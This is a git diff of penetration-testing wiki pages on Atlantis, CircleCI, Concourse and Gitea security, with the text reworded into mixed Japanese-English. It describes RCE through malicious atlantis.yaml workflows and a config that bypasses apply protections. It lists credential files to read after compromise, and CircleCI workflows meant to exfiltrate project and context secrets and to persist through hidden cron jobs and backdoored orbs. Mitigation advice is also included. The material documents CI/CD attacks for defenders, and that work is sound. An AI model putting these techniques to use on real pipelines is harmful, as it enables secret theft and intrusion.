plan -- atlantis plan -- -h #Get terraform plan help @@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -環境変数を渡すことができ、いくつかの保護を回避するのに役立つかもしれません。Terraformの環境変数については[https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)を確認してください。 +Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -#### カスタムワークフロー +#### Custom Workflow -`atlantis.yaml`ファイルに指定された**悪意のあるカスタムビルドコマンド**を実行します。Atlantisはプルリクエストブランチの`atlantis.yaml`ファイルを使用し、**master**のものではありません。\ -この可能性は前のセクションで言及されました： +`atlantis.yaml` fileで指定された**malicious custom build commands**を実行する。Atlantisは`master`ではなく、pull requestブランチの`atlantis.yaml`ファイルを使う。\ +この可能性は前のセクションで言及されている: > [!CAUTION] -> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルにワークフローを**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。 +> [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) フラグ`allow_custom_workflows`が**True**に設定されている場合、各repoの`atlantis.yaml`ファイルでworkflowsを**指定**できる。さらに、`allowed_overrides`が`workflow`も指定して、使用されるworkflowを**override**できるようにする必要がある場合もある。 > -> これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。 +> これにより、基本的にそのrepoにアクセスできる**any user**に対してAtlantis serverで**RCE**が可能になる。 > > ```yaml > # atlantis.yaml @@ -272,99 +272,99 @@ atlantis apply -- -h #Get terraform apply help > - run: my custom apply command > ``` -#### プラン/適用保護の回避 +#### Bypass plan/apply protections -[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリが**プラン/適用保護を変更して回避する**ことが可能です。 +[**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) フラグ`allowed_overrides`に`apply_requirements`が設定されている場合、repoがplan/apply protectionsを**modify**してそれらを**bypass**することが可能。 ```yaml repos: - id: /.*/ apply_requirements: [] ``` -#### PR ハイジャック +#### PR Hijacking -誰かがあなたの有効なプルリクエストに **`atlantis plan/apply`** コメントを送信すると、望まないときに terraform が実行されます。 +誰かがあなたの有効な pull request に **`atlantis plan/apply` コメント**を送ると、意図しないタイミングで terraform が実行されます。 -さらに、**新しいコミットがプッシュ**されたときに **再評価**を求めるように **ブランチ保護**が設定されていない場合、誰かが terraform 設定に **悪意のある設定**を書き込み（前のシナリオを確認）、`atlantis plan/apply` を実行して RCE を獲得する可能性があります。 +さらに、**branch protection** で **新しい commit が push されたときに各 PR を再評価**する設定にしていない場合、誰かが terraform config に **悪意ある configs**（前のシナリオを確認）を書き込み、`atlantis plan/apply` を実行して RCE を得られる可能性があります。 -これが Github ブランチ保護の **設定**です： +これは Github branch protections の**設定**です: -![](<../images/image (216).png>) +![GitHub branch protection option to dismiss stale pull request approvals after new commits](<../images/image (216).png>) -#### Webhook シークレット +#### Webhook Secret -もしあなたが使用されている **Webhook シークレットを盗むことに成功した場合**、または **Webhook シークレットが使用されていない場合**、あなたは **Atlantis Webhook** を呼び出し、**atlatis コマンド**を直接実行することができます。 +使用されている webhook secret を **盗めた**、または webhook secret が **まったく使われていない** 場合、Atlantis webhook を **呼び出して**、直接 atlantis commands を **実行**できます。 #### Bitbucket -Bitbucket Cloud は **Webhook シークレットをサポートしていません**。これにより、攻撃者が **Bitbucket からのリクエストを偽装**することが可能になります。Bitbucket の IP のみを許可していることを確認してください。 +Bitbucket Cloud は webhook secrets を**サポートしていません**。これにより、攻撃者が **Bitbucket からのリクエストを spoof** できる可能性があります。Bitbucket の IP のみを許可していることを確認してください。 -- これは、**攻撃者**が **Bitbucket から来ているように見える偽のリクエストを Atlantis に送信できることを意味します**。 -- `--repo-allowlist` を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでの plan/apply になります。 -- これを防ぐために、[Bitbucket の IP アドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください（Outbound IPv4 addresses を参照）。 +- これは、**攻撃者**が Bitbucket から来たように見える **Atlantis への偽リクエスト**を送れることを意味します。 +- `--repo-allowlist` を指定している場合、偽装できるのはその repos に関するリクエストだけなので、起こりうる被害は自分の repos に対する plan/apply に限られます。 +- これを防ぐには、[Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)（Outbound IPv4 addresses を参照）を allowlist してください。 -### ポストエクスプロイテーション +### Post-Exploitation -サーバーへのアクセスを取得した場合、または少なくとも LFI を取得した場合、試して読むべき興味深いものがあります： +少なくとも LFI を得た、または server への access を得たなら、読んでみるべき興味深いものがいくつかあります: -- `/home/atlantis/.git-credentials` VCS アクセス資格情報を含む -- `/atlantis-data/atlantis.db` より多くの情報を含む VCS アクセス資格情報を含む -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform ステートファイル -- 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` 環境変数 -- `/proc/[2-20]/cmdline` `atlantis server` のコマンドライン（機密データを含む可能性があります） +- `/home/atlantis/.git-credentials` vcs access credentials を含む +- `/atlantis-data/atlantis.db` より多くの情報を含む vcs access credentials を含む +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file +- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Env variables +- `/proc/[2-20]/cmdline` `atlantis server` の Cmd line（機密データを含む可能性あり） -### 緩和策 +### Mitigations -#### 公開リポジトリでの使用は避ける +#### Don't Use On Public Repos -誰でも公開プルリクエストにコメントできるため、すべてのセキュリティ緩和策が利用可能であっても、適切なセキュリティ設定の構成なしに公開リポジトリで Atlantis を実行することは依然として危険です。 +public pull requests には誰でも comment できるため、利用可能な security mitigations がすべてあっても、適切に security settings を設定せずに public repos で Atlantis を実行するのは依然として危険です。 -#### `--allow-fork-prs` を使用しない +#### Don't Use `--allow-fork-prs` -公開リポジトリで実行している場合（推奨されません、上記を参照）、`--allow-fork-prs` を設定すべきではありません（デフォルトは false）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。 +public repo 上で実行している場合（推奨されません。上記参照）、`--allow-fork-prs`（デフォルトは false）を設定すべきではありません。なぜなら、誰でも fork からあなたの repo へ pull request を開けるからです。 #### `--repo-allowlist` -Atlantis は、`--repo-allowlist` フラグを介して Webhook を受け入れるリポジトリの許可リストを指定する必要があります。例えば： +Atlantis は `--repo-allowlist` フラグで、webhooks を受け入れる repositories の allowlist を指定する必要があります。例えば: -- 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*` -- GitHub Enterprise インストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*` -- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、Webhook シークレットも設定しないと危険です。 +- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` +- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` +- All repositories: `--repo-allowlist=*`. 保護された network 内で使う場合に便利ですが、webhook secret も設定しないと危険です。 -このフラグは、あなたの Atlantis インストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細については `atlantis server --help` を参照してください。 +このフラグにより、あなたが管理していない repositories で Atlantis が使われるのを防げます。詳細は `atlantis server --help` を参照してください。 -#### Terraform プランニングを保護する +#### Protect Terraform Planning -攻撃者が悪意のある Terraform コードを含むプルリクエストを提出することが脅威モデルに含まれている場合、`terraform apply` の承認だけでは不十分であることを認識する必要があります。`terraform plan` で悪意のあるコードを実行することが可能であり、[`external` データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。 +攻撃者が悪意ある Terraform code を含む pull request を送る脅威モデルであれば、`terraform apply` の承認だけでは不十分だと認識する必要があります。[`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) を使うか、悪意ある provider を指定することで、`terraform plan` 内で悪意ある code を実行できます。その code は credentials を exfiltrate できてしまいます。 -これを防ぐために、次のことができます： +これを防ぐには、以下が可能です: -1. プロバイダーを Atlantis イメージに組み込むか、ホストして、プロダクションでの出口を拒否します。 -2. プロバイダー レジストリ プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、レジストリへの書き込みアクセスを誰が持っているかを制御できます。 -3. [サーバー側リポジトリ構成](https://www.runatlantis.io/docs/server-side-repo-config.html)の `plan` ステップを変更して、許可されていないプロバイダーやデータソース、許可されていないユーザーからの PR の使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan` を続行する前に PR に「いいね」を要求することです。Conftest が役立つかもしれません。 +1. providers を Atlantis image もしくは host に bake し、production では egress を deny する。 +2. provider registry protocol を内部で実装し、public egress を deny する。そうすれば、誰が registry への write access を持つかを管理できます。 +3. [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) の `plan` step を修正し、許可されていない providers や data sources、または許可されていない users からの PR の使用を検証する。ここで追加の validation もできます。たとえば、`plan` を続行する前に PR に "thumbs-up" が必要だとするなどです。ここでは Conftest が役立つかもしれません。 -#### Webhook シークレット +#### Webhook Secrets -Atlantis は、`$ATLANTIS_GH_WEBHOOK_SECRET` / `$ATLANTIS_GITLAB_WEBHOOK_SECRET` 環境変数を介して Webhook シークレットを設定して実行する必要があります。`--repo-allowlist` フラグが設定されていても、Webhook シークレットがない場合、攻撃者は許可リストにあるリポジトリを装って Atlantis にリクエストを送信することができます。Webhook シークレットは、Webhook リクエストが実際にあなたの VCS プロバイダー（GitHub または GitLab）から来ていることを保証します。 +Atlantis は `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables で Webhook secrets を設定して実行すべきです。`--repo-allowlist` フラグを設定していても、webhook secret がなければ、攻撃者は allowlist された repository を装って Atlantis にリクエストを送れます。Webhook secrets は、その webhook requests が実際に VCS provider（GitHub または GitLab）から来ていることを保証します。 -Azure DevOps を使用している場合、Webhook シークレットの代わりに基本的なユーザー名とパスワードを追加してください。 +Azure DevOps を使っている場合は、webhook secrets の代わりに basic username と password を追加してください。 -#### Azure DevOps ベーシック認証 +#### Azure DevOps Basic Authentication -Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。これには、Webhook の場所に HTTPS URL を使用する必要があります。 +Azure DevOps は、すべての webhook events で basic authentication header を送信できます。これには、webhook location に HTTPS URL を使う必要があります。 #### SSL/HTTPS -Webhook シークレットを使用しているが、トラフィックが HTTP 上にある場合、Webhook シークレットが盗まれる可能性があります。`--ssl-cert-file` および `--ssl-key-file` フラグを使用して SSL/HTTPS を有効にしてください。 +webhook secrets を使っていても traffic が HTTP 経由なら、webhook secrets が盗まれる可能性があります。`--ssl-cert-file` と `--ssl-key-file` フラグを使って SSL/HTTPS を有効にしてください。 -#### Atlantis Web サーバーでの認証を有効にする +#### Enable Authentication on Atlantis Web Server -Web サービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true` を使用して BasicAuth を有効にし、`--web-username=yourUsername` および `--web-password=yourPassword` フラグを使用してユーザー名とパスワードを設定します。 +web service で authentication を有効にすることが非常に推奨されます。`--web-basic-auth=true` で BasicAuth を有効にし、`--web-username=yourUsername` と `--web-password=yourPassword` フラグで username と password を設定してください。 -これらを環境変数 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` および `ATLANTIS_WEB_PASSWORD=yourPassword` として渡すこともできます。 +これらは environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` `ATLANTIS_WEB_PASSWORD=yourPassword` として渡すこともできます。 -### 参考文献 +### References - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index f54aee19e..d5bed3dd5 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,29 +1,29 @@ -# CircleCI セキュリティ +# CircleCI Security {{#include ../banners/hacktricks-training.md}} -### 基本情報 +### Basic Information -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す**テンプレート**を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば**リポジトリのマスターブランチ**から直接**テスト**や**デプロイ**を**自動化**できます。 +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、いくつかの code に対して何をさせたいか、またいつ実行するかを指定する **templates** を定義できる Continuos Integration platform です。これにより、たとえば **repo master branch** から直接、**testing** や **deployments** を自動化できます。 -### 権限 +### Permissions -**CircleCI**は、ログインする**アカウント**に関連するgithubおよびbitbucketから**権限を継承**します。\ -私のテストでは、**githubのリポジトリに対する書き込み権限**があれば、**CircleCIでのプロジェクト設定を管理**できることを確認しました（新しいsshキーの設定、プロジェクトのapiキーの取得、新しいCircleCI設定での新しいブランチの作成など）。 +**CircleCI** は、ログインした **account** に関連する github と bitbucket の **permissions** を継承します。\ +私の testing では、github 上で **repo に対する write permissions** があれば、**CircleCI で project settings を管理**できることを確認しました（新しい ssh keys の設定、project api keys の取得、新しい CircleCI configs を持つ新しい branches の作成など）。 -ただし、**CircleCIプロジェクトにリポジトリを変換する**には、**リポジトリ管理者**である必要があります。 +ただし、**repo を CircleCI project に変換する**には **repo admin** である必要があります。 -### 環境変数と秘密情報 +### Env Variables & Secrets -[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/)によると、ワークフロー内で**環境変数に値をロードする**方法はいくつかあります。 +[**the docs**](https://circleci.com/docs/2.0/env-vars/) によると、workflow 内で environment variables に値を **load** する方法はいくつかあります。 -#### 組み込み環境変数 +#### Built-in env variables -CircleCIによって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、`CIRCLE_USERNAME`のような[**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)が常にあります。 +CircleCI によって実行されるすべての container には、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、`CIRCLE_USERNAME` など、[**the docs**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) に記載された特定の env vars が常に定義されています。 -#### プレーンテキスト +#### Clear text -**コマンド**内でプレーンテキストとして宣言できます: +それらを **command** 内で clear text のまま宣言できます: ```yaml - run: name: "set and echo" @@ -31,7 +31,7 @@ command: | SECRET="A secret" echo $SECRET ``` -**実行環境**内に明示的に宣言できます: +**run environment** 内で平文で宣言できます: ```yaml - run: name: "set and echo" @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -**build-job 環境**内に明示的に宣言できます: +**build-job environment** 内でプレーンテキストとして宣言できます: ```yaml jobs: build-job: @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -コンテナの**環境**内に明示的に宣言できます： +コンテナの**environment**内で平文として宣言できます: ```yaml jobs: build-job: @@ -57,45 +57,45 @@ docker: environment: SECRET: A secret ``` -#### プロジェクトの秘密 +#### Project Secrets -これらは**秘密**であり、**プロジェクト**（**任意のブランチ**）によってのみ**アクセス可能**です。\ -これらは _https://app.circleci.com/settings/project/github/\/\/environment-variables_ に**宣言されている**のを見ることができます。 +これらは、**project** にのみ（**任意の branch** から）**アクセス可能**な **secrets** です。\ +それらは _https://app.circleci.com/settings/project/github/\/\/environment-variables_ に **定義されている** のを確認できます。 -![](<../images/image (129).png>) +![CircleCI project environment variables page with MY_ENV_VAR and a masked secret value](<../images/image (129).png>) > [!CAUTION] -> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。 +> "**Import Variables"** 機能は、他の projects の variables をこの project に **import** できます。 -#### コンテキストの秘密 +#### Context Secrets -これらは**組織全体**の秘密です。**デフォルトでは、任意のリポジトリ**がここに保存された**任意の秘密**に**アクセスできる**ようになります： +これらは **org wide** な secrets です。**default** では、**any repo** がここに保存された **any secret** に **access** できます: -![](<../images/image (123).png>) +![CircleCI context security group page showing All members allowed to execute the context](<../images/image (123).png>) > [!TIP] -> ただし、異なるグループ（すべてのメンバーの代わりに）を**選択して特定の人々にのみ秘密へのアクセスを与える**ことができます。\ -> これは現在、**秘密のセキュリティを向上させる**ための最良の方法の1つであり、すべての人がアクセスできるのではなく、一部の人だけがアクセスできるようにします。 +> ただし、別の group（All members の代わりに）を **選択** して、特定の people のみに secrets への access を与えることもできます。\ +> これは現在、secrets の security を **高める** 最良の方法の1つで、誰もが access できるようにせず、一部の people のみに限定できます。 -### 攻撃 +### Attacks -#### プレーンテキストの秘密を検索 +#### Search Clear Text Secrets -**VCS**（例えばgithub）に**アクセス**できる場合、**各リポジトリの各ブランチ**の `.circleci/config.yml` ファイルをチェックし、そこに保存されている潜在的な**プレーンテキストの秘密**を**検索**します。 +**VCS**（github のような）に **access** があるなら、各 repo の各 branch 上の `.circleci/config.yml` を確認し、そこに保存されている潜在的な **clear text secrets** を **search** してください。 -#### 秘密の環境変数とコンテキストの列挙 +#### Secret Env Vars & Context enumeration -コードをチェックすることで、各 `.circleci/config.yml` ファイルで**使用されているすべての秘密の名前**を見つけることができます。また、これらのファイルから**コンテキスト名**を取得するか、ウェブコンソールで確認できます： _https://app.circleci.com/settings/organization/github/\/contexts_。 +コードを確認すると、各 `.circleci/config.yml` ファイルで **使われている** すべての secrets 名を見つけられます。これらのファイルから context 名も取得できますし、web console で確認することもできます: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### プロジェクトの秘密を抽出 +#### Exfiltrate Project secrets > [!WARNING] -> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出**するには、**全体のgithub組織の中で**たった**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます（_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_）。 +> すべての project と context の **SECRETS** を **exfiltrate** するには、github org 全体のたった **1 repo** に対する **WRITE** access があれば十分です（さらに、あなたの account が contexts への access を持っている必要がありますが、default では誰でもすべての context に access できます）。 > [!CAUTION] -> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。 +> "**Import Variables"** 機能は、他の projects の variables をこの project に **import** できます。したがって、攻撃者はすべての repos から project variables を **import** し、それらすべてをまとめて **exfiltrate** できます。 -すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してbase64で難読化するだけで、**ワークフローのウェブログコンソール**に秘密を抽出できます： +すべての project secrets は常に jobs の env に設定されるので、単に env を呼び出して base64 で難読化すれば、**workflows web log console** で secrets を **exfiltrate** できます: ```yaml version: 2.1 @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**作成**し、**外部アドレスに秘密を流出させる**ことができます: +If you **web consoleにアクセスできない**が、**repoにアクセスでき**、CircleCI が使われていると分かっているなら、**毎分トリガーされる workflow** を**作成**して、**secrets を外部アドレスへ exfil** するだけでよい: ```yaml version: 2.1 @@ -141,9 +141,9 @@ only: jobs: - exfil-env ``` -#### コンテキストシークレットの抽出 +#### Context Secrets を exfiltrate する -**コンテキスト名を指定する必要があります**（これによりプロジェクトシークレットも抽出されます）： +**context name を指定する**必要があります（これにより project secrets も exfiltrate されます）： ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**修正**し、**外部アドレスに秘密を流出させる**ことができます: +If you **web console へのアクセスがない**が、**repo へのアクセスがあり**、CircleCI が使われていることを知っているなら、**毎分トリガーされる workflow** を**変更**して、**secrets を外部アドレスへ exfil する**ようにできます: ```yaml version: 2.1 @@ -192,14 +192,14 @@ jobs: context: Test-Context ``` > [!WARNING] -> 新しい `.circleci/config.yml` をリポジトリに作成するだけでは **circleci ビルドをトリガーするには不十分です**。**circleci コンソールでプロジェクトとして有効にする必要があります**。 +> 単にリポジトリに新しい `.circleci/config.yml` を作成するだけでは、circleci build はトリガーされません。**circleci console で project として有効化する**必要があります。 -#### クラウドへのエスケープ +#### Cloud への Escape -**CircleCI** は **あなたのビルドを彼らのマシンまたはあなた自身のマシンで実行するオプションを提供します**。\ -デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン（潜在的にクラウド環境で）でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。 +**CircleCI** では、**build を自分たちの machine で実行するか、自分の machine で実行するか**を選べます。\ +デフォルトでは彼らの machine は GCP 上にあり、最初は関連するものを何も見つけられないでしょう。しかし、被害者がタスクを**自分の machine 上で**実行している場合（場合によっては cloud env 内）、**興味深い情報を持つ cloud metadata endpoint** が見つかるかもしれません。 -前の例ではすべてが Docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**（異なるクラウド権限を持っている可能性があります）： +前の例ではすべて docker container 内で起動していましたが、**VM machine を起動するように要求する**こともできます（これには異なる cloud permissions がある可能性があります）： ```yaml jobs: exfil-env: @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -リモートDockerサービスにアクセスできるDockerコンテナでも。 +あるいは、リモートの docker サービスにアクセスできる docker コンテナでも: ```yaml jobs: exfil-env: @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Persistence -- CircleCIで**ユーザートークンを作成**して、ユーザーのアクセスでAPIエンドポイントにアクセスすることが可能です。 +- CircleCI で **user tokens** を作成して、ユーザーのアクセス権で API endpoints にアクセスすることが可能です。 - _https://app.circleci.com/settings/user/tokens_ -- **プロジェクトトークンを作成**して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。 +- **project tokens** を作成して、token に与えられた permissions で project にアクセスすることが可能です。 - _https://app.circleci.com/settings/project/github/\/\/api_ -- プロジェクトに**SSHキーを追加**することが可能です。 +- projects に **SSH keys を追加**することが可能です。 - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- 予期しないプロジェクトの隠れたブランチに**cronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。 -- あるいは、ブランチで作成したり、知られているジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることができます。 -- GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。 -- 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。 +- 予期しない project の hidden branch に **cron job を作成**して、毎日すべての **context env** vars を **leak** させることが可能です。 +- あるいは branch に作成する／既知の job を修正して、毎日すべての context と **projects secrets** を **leak** させることもできます。 +- github owner であれば、**allow unverified orbs** を有効にして、job 内で **backdoor** として設定できます +- 一部の task で **command injection vulnerability** を見つけ、値を変更することで **secret** 経由でコマンドを **inject** できます {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index ae7b7f360..37e89639b 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,32 +4,34 @@ ## Concourse Architecture -[**Concourse ドキュメントからの関連データ:**](https://concourse-ci.org/internals.html) + + +[**Concourse documentation からの関連データ:**](https://concourse-ci.org/internals.html) ### Architecture -![](<../../images/image (187).png>) +![Concourse architecture diagram with load balancer, ATC, TSA, Beacon, Garden, and Baggageclaim components](<../../images/image (187).png>) #### ATC: web UI & build scheduler -ATCはConcourseの中心です。**web UIとAPI**を実行し、すべてのパイプラインの**スケジューリング**を担当します。**PostgreSQL**に接続し、パイプラインデータ（ビルドログを含む）を保存します。 +ATC は Concourse の中心です。**web UI と API** を実行し、すべての pipeline の **scheduling** を担当します。**PostgreSQL に接続**し、pipeline データ（build logs を含む）を保存します。 -[checker](https://concourse-ci.org/checker.html)の責任は、新しいリソースのバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト（コンテナやボリュームなど）を削除するためのクリーンアップメカニズムです。 +[checker](https://concourse-ci.org/checker.html) の役割は、新しい resource version を継続的に確認することです。[scheduler](https://concourse-ci.org/scheduler.html) は job の build を scheduling する役割を持ち、[build tracker](https://concourse-ci.org/build-tracker.html) は scheduling された build を実行する役割を持ちます。[garbage collector](https://concourse-ci.org/garbage-collector.html) は、container や volume のような未使用または古い object を削除するための cleanup 機構です。 #### TSA: worker registration & forwarding -TSAは**カスタムビルドのSSHサーバー**であり、[**workers**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。 +TSA は **custom-built SSH server** で、[**workers**](https://concourse-ci.org/internals.html#architecture-worker) を [**ATC**](https://concourse-ci.org/internals.html#component-atc) に安全に **register** するためだけに使われます。 -TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。 +TSA は **default で port `2222` を listen** し、通常は [ATC](https://concourse-ci.org/internals.html#component-atc) と同じ場所に配置され、load balancer の背後にあります。 -**TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。 +**TSA は SSH connection 上で CLI を実装しており、**[**これらの commands**](https://concourse-ci.org/internals.html#component-tsa) をサポートします。 #### Workers -タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。 +task を実行するには、concourse にいくつかの workers が必要です。これらの workers は [TSA](https://concourse-ci.org/internals.html#component-tsa) 経由で **self-register** し、[**Garden**](https://github.com/cloudfoundry-incubator/garden) と [**Baggageclaim**](https://github.com/concourse/baggageclaim) の services を実行します。 -- **Garden**: これは**Container Manage API**で、通常は**ポート7777**で**HTTP**を介して実行されます。 -- **Baggageclaim**: これは**Volume Management API**で、通常は**ポート7788**で**HTTP**を介して実行されます。 +- **Garden**: これは **Container Manage API** です。通常、**HTTP** で **port 7777** 上で動作します。 +- **Baggageclaim**: これは **Volume Management API** です。通常、**HTTP** で **port 7788** 上で動作します。 ## References diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 8d161d88c..0ce914e95 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,12 +1,12 @@ -# Giteaのセキュリティ +# Gitea Security {{#include ../../banners/hacktricks-training.md}} ## Giteaとは -**Gitea**は**自己ホスト型のコミュニティ管理の軽量コードホスティング**ソリューションで、Goで書かれています。 +**Gitea** は、Goで書かれた **self-hostedのコミュニティ管理型 lightweight code hosting** ソリューションです。 -![](<../../images/image (160).png>) +![Gitea repository page showing files, branches, commits, tags, and repository statistics](<../../images/image (160).png>) ### 基本情報 @@ -14,117 +14,117 @@ basic-gitea-information.md {{#endref}} -## ラボ +## Lab -ローカルでGiteaインスタンスを実行するには、単にdockerコンテナを実行するだけです： +Gitea instanceをローカルで実行するには、docker containerを実行するだけです: ```bash docker run -p 3000:3000 gitea/gitea ``` -ポート3000に接続してウェブページにアクセスします。 +port 3000 に接続して web page にアクセスします。 -Kubernetesで実行することもできます: +また、kubernetes で実行することもできます: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## 認証されていない列挙 +## Unauthenticated Enumeration -- 公開リポジトリ: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- 登録ユーザー: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- 登録組織: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Registered Organizations: 